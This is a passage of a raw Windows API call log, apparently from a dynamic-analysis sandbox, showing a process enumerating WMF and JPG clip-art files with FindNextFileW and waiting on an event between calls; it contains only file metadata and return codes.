(in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0271.873] ResetEvent (hEvent=0x2b8) returned 1 [0271.873] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.879] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0271.879] ResetEvent (hEvent=0x2b8) returned 1 [0271.879] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.887] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0271.887] ResetEvent (hEvent=0x2b8) returned 1 [0271.887] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.898] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0271.898] ResetEvent (hEvent=0x2b8) returned 1 [0271.898] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.907] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0271.907] ResetEvent (hEvent=0x2b8) returned 1 [0271.907] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.130] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0272.130] ResetEvent (hEvent=0x2b8) returned 1 [0272.131] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.247] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0272.247] ResetEvent (hEvent=0x2b8) returned 1 [0272.248] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.309] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0272.309] ResetEvent (hEvent=0x2b8) returned 1 [0272.309] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.347] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0272.348] ResetEvent (hEvent=0x2b8) returned 1 [0272.348] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.556] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0272.557] ResetEvent (hEvent=0x2b8) returned 1 [0272.557] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.568] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0272.568] ResetEvent (hEvent=0x2b8) returned 1 [0272.569] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.579] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0272.579] ResetEvent (hEvent=0x2b8) returned 1 [0272.579] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.583] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0272.583] ResetEvent (hEvent=0x2b8) returned 1 [0272.583] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.606] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0272.607] ResetEvent (hEvent=0x2b8) returned 1 [0272.607] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.617] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0272.618] ResetEvent (hEvent=0x2b8) returned 1 [0272.618] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.625] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaa396f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0272.625] ResetEvent (hEvent=0x2b8) returned 1 [0272.625] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.976] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0272.977] ResetEvent (hEvent=0x2b8) returned 1 [0272.977] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0272.996] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0272.996] ResetEvent (hEvent=0x2b8) returned 1 [0272.996] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.007] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0273.007] ResetEvent (hEvent=0x2b8) returned 1 [0273.007] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.016] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0273.016] ResetEvent (hEvent=0x2b8) returned 1 [0273.016] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.025] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0273.025] ResetEvent (hEvent=0x2b8) returned 1 [0273.025] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.294] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0273.294] ResetEvent (hEvent=0x2b8) returned 1 [0273.294] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.299] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0273.299] ResetEvent (hEvent=0x2b8) returned 1 [0273.299] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.304] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0273.304] ResetEvent (hEvent=0x2b8) returned 1 [0273.307] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0273.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea7d707, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0273.401] ResetEvent (hEvent=0x2b8) returned 1 [0273.401] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.061] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0274.061] ResetEvent (hEvent=0x2b8) returned 1 [0274.061] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.070] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0274.071] ResetEvent (hEvent=0x2b8) returned 1 [0274.071] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.075] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0274.075] ResetEvent (hEvent=0x2b8) returned 1 [0274.075] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.091] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaa396f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaa396f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0274.091] ResetEvent (hEvent=0x2b8) returned 1 [0274.091] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.101] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0274.101] ResetEvent (hEvent=0x2b8) returned 1 [0274.101] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.107] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaa396f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0274.112] ResetEvent (hEvent=0x2b8) returned 1 [0274.112] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.121] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaa396f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaa396f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0274.121] ResetEvent (hEvent=0x2b8) returned 1 [0274.121] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.125] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0274.125] ResetEvent (hEvent=0x2b8) returned 1 [0274.125] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaa396f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea7d707, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea7d707, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: 